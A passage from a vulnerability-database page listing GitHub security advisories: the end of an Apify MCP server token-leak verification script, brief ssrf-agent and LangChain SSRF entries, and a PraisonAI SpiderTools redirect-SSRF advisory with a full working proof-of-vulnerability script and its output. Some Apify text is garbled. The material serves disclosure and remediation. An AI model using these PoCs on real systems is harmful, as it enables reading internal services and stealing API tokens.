f\u0027python3 {os.path.relpath(__file__)}\u0027,\n            \u0027evidence\u0027: \u0027timeout\u0027,\n            \u0027artifacts\u0027: [\u0027Dockerfile\u0027, \u0027exploit.mjs\u0027, \u0027poc.py\u0027],\n        })\n        sys.exit(1)\n\n    stdout = run_result.stdout\n    stderr = run_result.stderr\n    print(\u0027\\n--- container stdout ---\u0027)\n    print(stdout)\n    if stderr:\n        print(\u0027--- container stderr (text 1000characters) ---\u0027)\n        print(stderr[:1000])\n\n    # \u2500\u2500 3. result verdict \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n    passed = (\n        run_result.returncode == 0\n        and \u0027attacker HTTPS server received request\u0027 in stdout\n        and \u0027EXPLOIT SUCCESSFUL\u0027 in stdout\n        and \u0027apify_api_VICTIM_SECRET_TOKEN_DEMO_12345\u0027 in stdout\n    )\n\n    # Build evidence excerpt (key lines only)\n    evidence_lines = [l for l in stdout.splitlines()\n                      if any(k in l for k in [\u0027PASS\u0027, \u0027PROOF\u0027, \u0027received request\u0027,\n                                               \u0027EXPLOIT\u0027, \u0027parsed.hostname\u0027, \u0027Authorization\u0027])]\n    evidence = \u0027\\n\u0027.join(evidence_lines[:20]) if evidence_lines else stdout[-1500:]\n\n    if passed:\n        print(\u0027\\n[\u2713] PASS \u2014 token leak vulnerability dynamic reproduction success\u0027)\n        write_result({\n            \u0027passed\u0027: True,\n            \u0027verdict\u0027: \u0027PASS\u0027,\n            \u0027reason\u0027: (\n                \u0027Docker container withintext vulnerabilitytext fully reproductiondone. \u0027\n                \u0027actors.ts:44text `${standbyUrl}${mcpServerPath}` string text \u0027\n                \u0027`@127.0.0.1:31337/mcp` formtext mcpServerPathtext textdo \u0027\n                \u0027`https://apify~hello-world.apify.actor@127.0.0.1:31337/mcp` URLtext createand, \u0027\n                \u0027Node.js URL text hostnametext 127.0.0.1(attacker server)text dotextdo \u0027\n                \u0027client.ts:94text `Authorization: Bearer \u003cAPIFY_TOKEN\u003e` headertext attacker HTTPS servertext beforetextdone.\u0027\n            ),\n            \u0027build_command\u0027: \u0027 \u0027.join(BUILD_CMD),\n            \u0027run_command\u0027: \u0027 \u0027.join(RUN_CMD),\n            \u0027poc_command\u0027: f\u0027python3 poc.py\u0027,\n            \u0027evidence\u0027: evidence,\n            \u0027artifacts\u0027: [\u0027Dockerfile\u0027, \u0027exploit.mjs\u0027, \u0027poc.py\u0027],\n        })\n    else:\n        reason_detail = \u0027\u0027\n        if run_result.returncode != 0:\n            reason_detail = f\u0027container exit code {run_result.returncode}. \u0027\n        if \u0027TOKEN_CAPTURED\u0027 not in stdout:\n            reason_detail += \u0027attacker serverfrom token capture text textnot not. \u0027\n        if \u0027EXPLOIT SUCCESSFUL\u0027 not in stdout:\n            reason_detail += \u0027final success message none. \u0027\n\n        print(f\u0027\\n[\u2717] FAIL \u2014 {reason_detail}\u0027)\n        write_result({\n            \u0027passed\u0027: False,\n            \u0027verdict\u0027: \u0027FAIL\u0027,\n            \u0027reason\u0027: f\u0027failed to reproduce the vulnerability. {reason_detail}stderr: {stderr[:300]}\u0027,\n            \u0027build_command\u0027: \u0027 \u0027.join(BUILD_CMD),\n            \u0027run_command\u0027: \u0027 \u0027.join(RUN_CMD),\n            \u0027poc_command\u0027: f\u0027python3 poc.py\u0027,\n            \u0027evidence\u0027: stdout[-2000:] + (\u0027\\nSTDERR: \u0027 + stderr[:500] if stderr else \u0027\u0027),\n            \u0027artifacts\u0027: [\u0027Dockerfile\u0027, \u0027exploit.mjs\u0027, \u0027poc.py\u0027],\n        })\n        sys.exit(1)\n\n\nif __name__ == \u0027__main__\u0027:\n    main()\n```",
  "id": "GHSA-6gr2-qh89-hxwm",
  "modified": "2026-07-01T22:02:15Z",
  "published": "2026-07-01T22:02:15Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/apify/apify-mcp-server/security/advisories/GHSA-6gr2-qh89-hxwm"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apify/apify-mcp-server"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Apify Model Context Protocol (MCP) server: Actor MCP path authority injection leaks Apify token"
}

GHSA-6GWW-QPM6-MC2G

Vulnerability from github – Published: 2021-12-02 17:51 – Updated: 2021-11-29 15:08
VLAI
Summary
Server-Side Request Forgery in ssrf-agent
Details

The package ssrf-agent before 1.0.5 are vulnerable to Server-side Request Forgery (SSRF) via the defaultIpChecker function. It fails to properly validate if the IP requested is private.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "ssrf-agent"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-23718"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-11-23T19:15:40Z",
    "nvd_published_at": "2021-11-22T17:15:00Z",
    "severity": "MODERATE"
  },
  "details": "The package ssrf-agent before 1.0.5 are vulnerable to Server-side Request Forgery (SSRF) via the defaultIpChecker function. It fails to properly validate if the IP requested is private.",
  "id": "GHSA-6gww-qpm6-mc2g",
  "modified": "2021-11-29T15:08:38Z",
  "published": "2021-12-02T17:51:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-23718"
    },
    {
      "type": "WEB",
      "url": "https://github.com/welefen/ssrf-agent/commit/9607175acd0647d821bae4e8fcc3b712aca3fd2d#diff-e727e4bdf3657fd1d798edcd6b099d6e092f8573cba266154583a746bba0f346"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/welefen/ssrf-agent"
    },
    {
      "type": "WEB",
      "url": "https://github.com/welefen/ssrf-agent/blob/cec2b85fe8886ad6926a247a3e059d8369ec022b/index.js%23L13"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20211203-0005"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-SSRFAGENT-1584362"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Server-Side Request Forgery in ssrf-agent"
}

GHSA-6H8P-4HX9-W66C

Vulnerability from github – Published: 2023-10-21 00:30 – Updated: 2023-11-02 21:07
VLAI
Summary
Langchain Server-Side Request Forgery vulnerability
Details

In Langchain before 0.0.329, prompt injection allows an attacker to force the service to retrieve data from an arbitrary URL, essentially providing SSRF and potentially injecting content into downstream tasks.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "langchain"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.329"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-32786"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-74",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-10-24T01:36:13Z",
    "nvd_published_at": "2023-10-20T22:15:10Z",
    "severity": "HIGH"
  },
  "details": "In Langchain before 0.0.329, prompt injection allows an attacker to force the service to retrieve data from an arbitrary URL, essentially providing SSRF and potentially injecting content into downstream tasks.",
  "id": "GHSA-6h8p-4hx9-w66c",
  "modified": "2023-11-02T21:07:36Z",
  "published": "2023-10-21T00:30:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-32786"
    },
    {
      "type": "WEB",
      "url": "https://github.com/langchain-ai/langchain/pull/12747"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/rharang/d265f46fc3161b31ac2e81db44d662e1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/langchain-ai/langchain"
    },
    {
      "type": "WEB",
      "url": "https://github.com/langchain-ai/langchain/releases/tag/v0.0.329"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Langchain Server-Side Request Forgery vulnerability"
}

GHSA-6H9P-93HQ-Q7H6

Vulnerability from github – Published: 2026-06-18 13:55 – Updated: 2026-07-20 21:24
VLAI
Summary
PraisonAI: SpiderTools redirect-target SSRF protection bypass
Details

SpiderTools redirect-target SSRF protection bypass

Summary

SpiderTools.scrape_page() validates the initial URL and rejects direct loopback, private, link-local, metadata, and internal hostnames. It then calls requests.Session.get() without disabling automatic redirects or validating redirect Location targets.

Requests follows redirects by default for GET requests. A safe-looking public URL can therefore pass _validate_url(), redirect to a blocked target such as 127.0.0.1 or 169.254.169.254, and have the redirected response body parsed and returned by scrape_page().

The same sink is used by extract_links(), crawl(), and extract_text() through their calls to scrape_page().

Affected component

src/praisonai-agents/praisonaiagents/tools/spider_tools.py

Tested affected:

  • v3.9.24 / d08d98ca
  • v3.9.26 / 62472a23
  • v4.6.56 / d3c4a2af
  • v4.6.57 / e90d92231853161ad931f3498da57651a9f8b528
  • current main 2f9677abb2ea68eab864ee8b6a828fd0141612e1

No patched version is known at report time.

Root cause

Current main validates only the caller-supplied URL:

if not self._validate_url(url):
    return {"error": f"Invalid or potentially dangerous URL: {url}"}

The fetch then uses Requests defaults:

response = session.get(
    url,
    timeout=timeout,
    verify=verify_ssl
)

Because allow_redirects=False is not set, Requests follows a 3xx redirect to a new destination that has not been checked by _validate_url() or _host_is_blocked().

Proof of vulnerability

The PoV below is local-only and does not contact external infrastructure. It starts a loopback-only internal service and a local redirector. During PraisonAI's initial host validation, attacker.test is made to look like a public address. During the actual HTTP request, it routes to the local redirector, which returns 302 Location: http://127.0.0.1:<port>/secret.

Full PoV:

#!/usr/bin/env python3
"""Local PoV for SpiderTools redirect-target SSRF.

This uses only loopback services. The "attacker" hostname is treated as public
during PraisonAI's initial URL validation, then routed to a local redirector so
the PoV does not contact external infrastructure. The redirector points at a
loopback-only internal service. Vulnerable behavior is confirmed when
SpiderTools follows that redirect and returns the internal response body.
"""

from __future__ import annotations

import http.server
import importlib.util
import inspect
import os
import socket
import socketserver
import threading
from typing import Any


def _load_spider_tools_class():
    module_file = os.environ.get("PRAISONAI_SPIDER_TOOLS_FILE")
    if module_file:
        spec = importlib.util.spec_from_file_location("pov_spider_tools", module_file)
        if spec is None or spec.loader is None:
            raise RuntimeError(f"Could not load spider_tools file: {module_file}")
        module = importlib.util.module_from_spec(spec)
        spec.loader.exec_module(module)
        return module.SpiderTools

    from praisonaiagents.tools.spider_tools import SpiderTools

    return SpiderTools


class InternalHandler(http.server.BaseHTTPRequestHandler):
    body = b"SPIDER-INTERNAL-SECRET"

    def do_GET(self) -> None:  # noqa: N802
        self.server.hit = True  # type: ignore[attr-defined]
        self.send_response(200)
        self.send_header("Content-Type", "text/html")
        self.send_header("Content-Length", str(len(self.body)))
        self.end_headers()
        self.wfile.write(self.body)

    def log_message(self, *_args: Any) -> None:
        return


class RedirectHandler(http.server.BaseHTTPRequestHandler):
    target = ""

    def do_GET(self) -> None:  # noqa: N802
        self.server.hit = True  # type: ignore[attr-defined]
        self.send_response(302)
        self.send_header("Location", self.target)
        self.end_headers()

    def log_message(self, *_args: Any) -> None:
        return


def _called_from_spider_host_guard() -> bool:
    return any(frame.function == "_host_is_blocked" for frame in inspect.stack())


def main() -> int:
    os.environ.pop("ALLOW_LOCAL_CRAWL", None)

    internal = socketserver.TCPServer(("127.0.0.1", 0), InternalHandler)
    internal.hit = False  # type: ignore[attr-defined]
    internal_port = internal.server_address[1]

    RedirectHandler.target = f"http://127.0.0.1:{internal_port}/secret"
    redirect = socketserver.TCPServer(("127.0.0.1", 0), RedirectHandler)
    redirect.hit = False  # type: ignore[attr-defined]
    redirect_port = redirect.server_address[1]

    threading.Thread(target=internal.serve_forever, daemon=True).start()
    threading.Thread(target=redirect.serve_forever, daemon=True).start()

    original_getaddrinfo = socket.getaddrinfo

    def fake_getaddrinfo(host: str, port: int, *args: Any, **kwargs: Any):
        if host == "attacker.test":
            if _called_from_spider_host_guard():
                return [
                    (
                        socket.AF_INET,
                        socket.SOCK_STREAM,
                        6,
                        "",
                        ("93.184.216.34", port),
                    )
                ]
            return original_getaddrinfo("127.0.0.1", port, *args, **kwargs)
        return original_getaddrinfo(host, port, *args, **kwargs)

    tool = _load_spider_tools_class()()
    socket.getaddrinfo = fake_getaddrinfo
    try:
        direct_control = tool.scrape_page(
            f"http://127.0.0.1:{internal_port}/secret",
            timeout=5,
        )
        redirect_result = tool.scrape_page(
            f"http://attacker.test:{redirect_port}/go",
            timeout=5,
        )
        vulnerable_redirect_hit = bool(redirect.hit)  # type: ignore[attr-defined]
        vulnerable_internal_hit = bool(internal.hit)  # type: ignore[attr-defined]

        redirect.hit = False  # type: ignore[attr-defined]
        internal.hit = False  # type: ignore[attr-defined]

        import requests

        original_session_get = requests.Session.get

        def no_redirect_get(self, url, **kwargs):  # type: ignore[no-untyped-def]
            kwargs.setdefault("allow_redirects", False)
            return original_session_get(self, url, **kwargs)

        requests.Session.get = no_redirect_get
        try:
            no_redirect_control = _load_spider_tools_class()().scrape_page(
                f"http://attacker.test:{redirect_port}/go",
                timeout=5,
            )
        finally:
            requests.Session.get = original_session_get
        no_redirect_redirect_hit = bool(redirect.hit)  # type: ignore[attr-defined]
        no_redirect_internal_hit = bool(internal.hit)  # type: ignore[attr-defined]
    finally:
        socket.getaddrinfo = original_getaddrinfo
        redirect.shutdown()
        internal.shutdown()
        redirect.server_close()
        internal.server_close()

    print("DIRECT_CONTROL:", direct_control)
    print("REDIRECT_RESULT:", redirect_result)
    print("REDIRECT_SERVER_HIT:", vulnerable_redirect_hit)
    print("INTERNAL_SERVER_HIT:", vulnerable_internal_hit)
    print("NO_REDIRECT_CONTROL:", no_redirect_control)
    print("NO_REDIRECT_SERVER_HIT:", no_redirect_redirect_hit)
    print("NO_REDIRECT_INTERNAL_HIT:", no_redirect_internal_hit)

    if not isinstance(direct_control, dict) or "dangerous URL" not in str(direct_control):
        raise SystemExit("control failed: direct loopback was not blocked")
    if not isinstance(redirect_result, dict) or "error" in redirect_result:
        raise SystemExit(f"bypass failed: unexpected result {redirect_result!r}")
    if "SPIDER-INTERNAL-SECRET" not in str(redirect_result.get("content", "")):
        raise SystemExit("bypass failed: internal body was not returned")
    if not vulnerable_redirect_hit or not vulnerable_internal_hit:
        raise SystemExit("bypass failed: expected local servers were not hit")
    if not no_redirect_redirect_hit or no_redirect_internal_hit:
        raise SystemExit("fix control failed: no-redirect mode reached internal service")

    print("PRAI-CAND-004 CONFIRMED: SpiderTools follows a redirect to loopback")
    return 0


if __name__ == "__main__":
    raise SystemExit(main())

Run:

cd /Users/rexliu/Documents/GA\ code/REDit\ Deployment/stack/deploy
env PRAISONAI_SPIDER_TOOLS_FILE=/path/to/PraisonAI/src/praisonai-agents/praisonaiagents/tools/spider_tools.py \
  uv run --with requests --with beautifulsoup4 --with lxml --python 3.11 \
  poc_spider_tools_redirect_ssrf.py

Observed on current main:

DIRECT_CONTROL: {'error': 'Invalid or potentially dangerous URL: http://127.0.0.1:<port>/secret'}
REDIRECT_RESULT: {'url': 'http://attacker.test:<port>/go', 'status_code': 200, ... 'content': 'SPIDER-INTERNAL-SECRET', ...}
REDIRECT_SERVER_HIT: True
INTERNAL_SERVER_HIT: True
NO_REDIRECT_CONTROL: {'url': 'http://attacker.test:<port>/go', 'status_code': 302, ... 'Location': 'http://127.0.0.1:<port>/secret', ...}
NO_REDIRECT_SERVER_HIT: True
NO_REDIRECT_INTERNAL_HIT: False
PRAI-CAND-004 CONFIRMED: SpiderTools follows a redirect to loopback

The direct control proves direct loopback is blocked. The redirect result proves the same blocked destination is reached through a public-looking initial URL. The no-redirect control proves that disabling automatic redirects prevents the internal request while still receiving the external redirect response.

Why this is not intended behavior

The Spider Tools documentation says scrape_page, extract_links, crawl, and extract_text refuse dangerous URLs before network requests. The documented blocked classes include loopback, private/reserved IPs, link-local/cloud metadata endpoints, internal TLDs, non-HTTP(S) schemes, and parser-smuggling forms. The same page states the validation is always on for bundled spider tools and does not require enable_security().

The current code also documents _validate_url() as URL validation "to prevent SSRF attacks." A redirect to a loopback target bypasses that documented protection.

Impact

An attacker who can influence a URL passed to scrape_page(), extract_links(), crawl(), or extract_text() can cause the PraisonAI process to request destinations that SpiderTools is designed to block.

Potential impact includes:

  • reading loopback-only HTTP services;
  • probing or reading private network services reachable from the PraisonAI host;
  • reading link-local/cloud metadata endpoints if reachable in the deployment environment.

The PoV demonstrates returned response-body disclosure from a loopback-only service. This report does not claim arbitrary code execution or live cloud credential theft without deployment-specific evidence.

Severity

Suggested default severity: Moderate.

High severity may be appropriate for deployments where untrusted users can directly invoke SpiderTools through a network-facing agent, bot, API, or MCP service and sensitive internal or metadata services are reachable.

Suggested fix

Disable automatic redirects in scrape_page():

response = session.get(
    url,
    timeout=timeout,
    verify=verify_ssl,
    allow_redirects=False,
)

If redirects should remain supported, follow them manually and validate every Location target before each hop using the same SSRF guard:

  • require http or https;
  • resolve and validate every redirect hostname;
  • reject loopback, private, link-local, reserved, multicast, unspecified, internal, and metadata destinations;
  • cap redirect count;
  • apply the same safe fetch path to scrape_page(), extract_links(), crawl(), and extract_text().

Regression tests should cover direct loopback rejection, public-to-loopback redirect rejection, public-to-public redirects if supported, and all scrape_page() callers.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.6.58"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonaiagents"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.6.59"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-57115"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-18T13:55:14Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "# SpiderTools redirect-target SSRF protection bypass\n\n## Summary\n\n`SpiderTools.scrape_page()` validates the initial URL and rejects direct\nloopback, private, link-local, metadata, and internal hostnames. It then calls\n`requests.Session.get()` without disabling automatic redirects or validating\nredirect `Location` targets.\n\nRequests follows redirects by default for GET requests. A safe-looking public\nURL can therefore pass `_validate_url()`, redirect to a blocked target such as\n`127.0.0.1` or `169.254.169.254`, and have the redirected response body parsed\nand returned by `scrape_page()`.\n\nThe same sink is used by `extract_links()`, `crawl()`, and `extract_text()`\nthrough their calls to `scrape_page()`.\n\n## Affected component\n\n```text\nsrc/praisonai-agents/praisonaiagents/tools/spider_tools.py\n```\n\nTested affected:\n\n- `v3.9.24` / `d08d98ca`\n- `v3.9.26` / `62472a23`\n- `v4.6.56` / `d3c4a2af`\n- `v4.6.57` / `e90d92231853161ad931f3498da57651a9f8b528`\n- current main `2f9677abb2ea68eab864ee8b6a828fd0141612e1`\n\nNo patched version is known at report time.\n\n## Root cause\n\nCurrent main validates only the caller-supplied URL:\n\n```python\nif not self._validate_url(url):\n    return {\"error\": f\"Invalid or potentially dangerous URL: {url}\"}\n```\n\nThe fetch then uses Requests defaults:\n\n```python\nresponse = session.get(\n    url,\n    timeout=timeout,\n    verify=verify_ssl\n)\n```\n\nBecause `allow_redirects=False` is not set, Requests follows a 3xx redirect to a\nnew destination that has not been checked by `_validate_url()` or\n`_host_is_blocked()`.\n\n## Proof of vulnerability\n\nThe PoV below is local-only and does not contact external infrastructure. It\nstarts a loopback-only internal service and a local redirector. During\nPraisonAI\u0027s initial host validation, `attacker.test` is made to look like a\npublic address. During the actual HTTP request, it routes to the local\nredirector, which returns `302 Location: http://127.0.0.1:\u003cport\u003e/secret`.\n\nFull PoV:\n\n```python\n#!/usr/bin/env python3\n\"\"\"Local PoV for SpiderTools redirect-target SSRF.\n\nThis uses only loopback services. The \"attacker\" hostname is treated as public\nduring PraisonAI\u0027s initial URL validation, then routed to a local redirector so\nthe PoV does not contact external infrastructure. The redirector points at a\nloopback-only internal service. Vulnerable behavior is confirmed when\nSpiderTools follows that redirect and returns the internal response body.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport http.server\nimport importlib.util\nimport inspect\nimport os\nimport socket\nimport socketserver\nimport threading\nfrom typing import Any\n\n\ndef _load_spider_tools_class():\n    module_file = os.environ.get(\"PRAISONAI_SPIDER_TOOLS_FILE\")\n    if module_file:\n        spec = importlib.util.spec_from_file_location(\"pov_spider_tools\", module_file)\n        if spec is None or spec.loader is None:\n            raise RuntimeError(f\"Could not load spider_tools file: {module_file}\")\n        module = importlib.util.module_from_spec(spec)\n        spec.loader.exec_module(module)\n        return module.SpiderTools\n\n    from praisonaiagents.tools.spider_tools import SpiderTools\n\n    return SpiderTools\n\n\nclass InternalHandler(http.server.BaseHTTPRequestHandler):\n    body = b\"SPIDER-INTERNAL-SECRET\"\n\n    def do_GET(self) -\u003e None:  # noqa: N802\n        self.server.hit = True  # type: ignore[attr-defined]\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"text/html\")\n        self.send_header(\"Content-Length\", str(len(self.body)))\n        self.end_headers()\n        self.wfile.write(self.body)\n\n    def log_message(self, *_args: Any) -\u003e None:\n        return\n\n\nclass RedirectHandler(http.server.BaseHTTPRequestHandler):\n    target = \"\"\n\n    def do_GET(self) -\u003e None:  # noqa: N802\n        self.server.hit = True  # type: ignore[attr-defined]\n        self.send_response(302)\n        self.send_header(\"Location\", self.target)\n        self.end_headers()\n\n    def log_message(self, *_args: Any) -\u003e None:\n        return\n\n\ndef _called_from_spider_host_guard() -\u003e bool:\n    return any(frame.function == \"_host_is_blocked\" for frame in inspect.stack())\n\n\ndef main() -\u003e int:\n    os.environ.pop(\"ALLOW_LOCAL_CRAWL\", None)\n\n    internal = socketserver.TCPServer((\"127.0.0.1\", 0), InternalHandler)\n    internal.hit = False  # type: ignore[attr-defined]\n    internal_port = internal.server_address[1]\n\n    RedirectHandler.target = f\"http://127.0.0.1:{internal_port}/secret\"\n    redirect = socketserver.TCPServer((\"127.0.0.1\", 0), RedirectHandler)\n    redirect.hit = False  # type: ignore[attr-defined]\n    redirect_port = redirect.server_address[1]\n\n    threading.Thread(target=internal.serve_forever, daemon=True).start()\n    threading.Thread(target=redirect.serve_forever, daemon=True).start()\n\n    original_getaddrinfo = socket.getaddrinfo\n\n    def fake_getaddrinfo(host: str, port: int, *args: Any, **kwargs: Any):\n        if host == \"attacker.test\":\n            if _called_from_spider_host_guard():\n                return [\n                    (\n                        socket.AF_INET,\n                        socket.SOCK_STREAM,\n                        6,\n                        \"\",\n                        (\"93.184.216.34\", port),\n                    )\n                ]\n            return original_getaddrinfo(\"127.0.0.1\", port, *args, **kwargs)\n        return original_getaddrinfo(host, port, *args, **kwargs)\n\n    tool = _load_spider_tools_class()()\n    socket.getaddrinfo = fake_getaddrinfo\n    try:\n        direct_control = tool.scrape_page(\n            f\"http://127.0.0.1:{internal_port}/secret\",\n            timeout=5,\n        )\n        redirect_result = tool.scrape_page(\n            f\"http://attacker.test:{redirect_port}/go\",\n            timeout=5,\n        )\n        vulnerable_redirect_hit = bool(redirect.hit)  # type: ignore[attr-defined]\n        vulnerable_internal_hit = bool(internal.hit)  # type: ignore[attr-defined]\n\n        redirect.hit = False  # type: ignore[attr-defined]\n        internal.hit = False  # type: ignore[attr-defined]\n\n        import requests\n\n        original_session_get = requests.Session.get\n\n        def no_redirect_get(self, url, **kwargs):  # type: ignore[no-untyped-def]\n            kwargs.setdefault(\"allow_redirects\", False)\n            return original_session_get(self, url, **kwargs)\n\n        requests.Session.get = no_redirect_get\n        try:\n            no_redirect_control = _load_spider_tools_class()().scrape_page(\n                f\"http://attacker.test:{redirect_port}/go\",\n                timeout=5,\n            )\n        finally:\n            requests.Session.get = original_session_get\n        no_redirect_redirect_hit = bool(redirect.hit)  # type: ignore[attr-defined]\n        no_redirect_internal_hit = bool(internal.hit)  # type: ignore[attr-defined]\n    finally:\n        socket.getaddrinfo = original_getaddrinfo\n        redirect.shutdown()\n        internal.shutdown()\n        redirect.server_close()\n        internal.server_close()\n\n    print(\"DIRECT_CONTROL:\", direct_control)\n    print(\"REDIRECT_RESULT:\", redirect_result)\n    print(\"REDIRECT_SERVER_HIT:\", vulnerable_redirect_hit)\n    print(\"INTERNAL_SERVER_HIT:\", vulnerable_internal_hit)\n    print(\"NO_REDIRECT_CONTROL:\", no_redirect_control)\n    print(\"NO_REDIRECT_SERVER_HIT:\", no_redirect_redirect_hit)\n    print(\"NO_REDIRECT_INTERNAL_HIT:\", no_redirect_internal_hit)\n\n    if not isinstance(direct_control, dict) or \"dangerous URL\" not in str(direct_control):\n        raise SystemExit(\"control failed: direct loopback was not blocked\")\n    if not isinstance(redirect_result, dict) or \"error\" in redirect_result:\n        raise SystemExit(f\"bypass failed: unexpected result {redirect_result!r}\")\n    if \"SPIDER-INTERNAL-SECRET\" not in str(redirect_result.get(\"content\", \"\")):\n        raise SystemExit(\"bypass failed: internal body was not returned\")\n    if not vulnerable_redirect_hit or not vulnerable_internal_hit:\n        raise SystemExit(\"bypass failed: expected local servers were not hit\")\n    if not no_redirect_redirect_hit or no_redirect_internal_hit:\n        raise SystemExit(\"fix control failed: no-redirect mode reached internal service\")\n\n    print(\"PRAI-CAND-004 CONFIRMED: SpiderTools follows a redirect to loopback\")\n    return 0\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n```\n\nRun:\n\n```fish\ncd /Users/rexliu/Documents/GA\\ code/REDit\\ Deployment/stack/deploy\nenv PRAISONAI_SPIDER_TOOLS_FILE=/path/to/PraisonAI/src/praisonai-agents/praisonaiagents/tools/spider_tools.py \\\n  uv run --with requests --with beautifulsoup4 --with lxml --python 3.11 \\\n  poc_spider_tools_redirect_ssrf.py\n```\n\nObserved on current main:\n\n```text\nDIRECT_CONTROL: {\u0027error\u0027: \u0027Invalid or potentially dangerous URL: http://127.0.0.1:\u003cport\u003e/secret\u0027}\nREDIRECT_RESULT: {\u0027url\u0027: \u0027http://attacker.test:\u003cport\u003e/go\u0027, \u0027status_code\u0027: 200, ... \u0027content\u0027: \u0027SPIDER-INTERNAL-SECRET\u0027, ...}\nREDIRECT_SERVER_HIT: True\nINTERNAL_SERVER_HIT: True\nNO_REDIRECT_CONTROL: {\u0027url\u0027: \u0027http://attacker.test:\u003cport\u003e/go\u0027, \u0027status_code\u0027: 302, ... \u0027Location\u0027: \u0027http://127.0.0.1:\u003cport\u003e/secret\u0027, ...}\nNO_REDIRECT_SERVER_HIT: True\nNO_REDIRECT_INTERNAL_HIT: False\nPRAI-CAND-004 CONFIRMED: SpiderTools follows a redirect to loopback\n```\n\nThe direct control proves direct loopback is blocked. The redirect result proves\nthe same blocked destination is reached through a public-looking initial URL.\nThe no-redirect control proves that disabling automatic redirects prevents the\ninternal request while still receiving the external redirect response.\n\n## Why this is not intended behavior\n\nThe Spider Tools documentation says `scrape_page`, `extract_links`, `crawl`, and\n`extract_text` refuse dangerous URLs before network requests. The documented\nblocked classes include loopback, private/reserved IPs, link-local/cloud\nmetadata endpoints, internal TLDs, non-HTTP(S) schemes, and parser-smuggling\nforms. The same page states the validation is always on for bundled spider tools\nand does not require `enable_security()`.\n\nThe current code also documents `_validate_url()` as URL validation \"to prevent\nSSRF attacks.\" A redirect to a loopback target bypasses that documented\nprotection.\n\n## Impact\n\nAn attacker who can influence a URL passed to `scrape_page()`,\n`extract_links()`, `crawl()`, or `extract_text()` can cause the PraisonAI process\nto request destinations that SpiderTools is designed to block.\n\nPotential impact includes:\n\n- reading loopback-only HTTP services;\n- probing or reading private network services reachable from the PraisonAI host;\n- reading link-local/cloud metadata endpoints if reachable in the deployment\n  environment.\n\nThe PoV demonstrates returned response-body disclosure from a loopback-only\nservice. This report does not claim arbitrary code execution or live cloud\ncredential theft without deployment-specific evidence.\n\n## Severity\n\nSuggested default severity: Moderate.\n\nHigh severity may be appropriate for deployments where untrusted users can\ndirectly invoke SpiderTools through a network-facing agent, bot, API, or MCP\nservice and sensitive internal or metadata services are reachable.\n\n## Suggested fix\n\nDisable automatic redirects in `scrape_page()`:\n\n```python\nresponse = session.get(\n    url,\n    timeout=timeout,\n    verify=verify_ssl,\n    allow_redirects=False,\n)\n```\n\nIf redirects should remain supported, follow them manually and validate every\n`Location` target before each hop using the same SSRF guard:\n\n- require `http` or `https`;\n- resolve and validate every redirect hostname;\n- reject loopback, private, link-local, reserved, multicast, unspecified,\n  internal, and metadata destinations;\n- cap redirect count;\n- apply the same safe fetch path to `scrape_page()`, `extract_links()`,\n  `crawl()`, and `extract_text()`.\n\nRegression tests should cover 